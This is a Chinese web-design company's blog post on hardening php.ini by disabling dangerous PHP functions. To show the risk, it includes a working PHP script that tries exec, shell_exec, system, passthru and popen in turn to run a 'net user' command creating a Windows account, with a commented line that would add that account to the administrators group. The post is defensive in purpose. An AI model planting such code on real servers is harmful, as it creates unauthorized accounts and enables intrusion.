黄石网站建设

黄石网页设计

黄石网站制作

黄石网络推广

黄石做网站的公司

黄石建站

博强科技

您的当前位置 >> 主页 > 新闻动态 > 网站建设技术 >

网站建设技术

新闻图案

网站制作

配置php.ini使服务器更加安全防止入侵

中国网络营销推广专家

配置php.ini使服务器更加安全,屏蔽危险函数,防止入侵


大家可以建立一个test.php文件,里边输入
<?php
phpinfo();
?>
以上代码,然后在浏览器打开他,就可以查看php.ini的存放位置.

然后找到php.ini
查找
disable_functions =

一般情况他是空的,不禁用任何PHP的函数.

你把他修改成为如下,即禁用最危险的7个PHP功能函数
disable_functions = system,exec,passthru,shell_exec,popen,proc_open,assert
即可有效的防止别人通过PHP程序入侵服务器.
修改之后,要重启IIS或者是apache才能生效的.


你若有兴趣的话,你把以下代码另存为abc.php然后在浏览器打开他,就可以创建一个管理员帐号,所以说服务器不禁用以上PHP函数的话,是非常危险的.

复制代码
  1.  
  2.  <?php
  3. $cmd = 'net user admin99 admin99 /add';
  4. adduser($cmd);
  5. //$cmd = 'net localgroup administrators admin99 /add';
  6. //adduser($cmd);
  7. function adduser($cmd) {
  8.  if (function_exists('exec')) {
  9.   @exec($cmd, $res);
  10.   $res = join("\n", $res);
  11.  } elseif (function_exists('shell_exec')) {
  12.   $res = @shell_exec($cmd);
  13.  } elseif (function_exists('system')) {
  14.   @ob_start();
  15.   @system($cmd);
  16.   $res = @ob_get_contents();
  17.   @ob_end_clean();
  18.  } elseif (function_exists('passthru')) {
  19.   @ob_start();
  20.   @passthru($cmd);
  21.   $res = @ob_get_contents();
  22.   @ob_end_clean();
  23.  } elseif (@is_resource($f = @popen($cmd, "r"))) {
  24.   die("$cmd");
  25.   $res = '';
  26.   while (!@feof($f)) {
  27.    $res .= @fread($f, 1024);
  28.   }
  29.   @pclose($f);
  30.  }else{
  31.   die("你的服务器是安全的!");
  32.  }
  33.  die($res);
  34. }
  35. ?>
收缩

QQ在线客服

  • 在线咨询
  • 客服001
  • 客服001
  • 售后服务
  • 客服001
黄石建站

QQ在线客服

首 页 新闻动态 案例展示 服务范围 关于我们 联系我们 客户需求 网站地图
电话:13597671188 QQ:494602646 黄石网站建设-博强科技 Copyright © 2013-2014 All Rights Reserved 鄂ICP备12000085号
博强科技版权所有 未经允许不得私自发布转载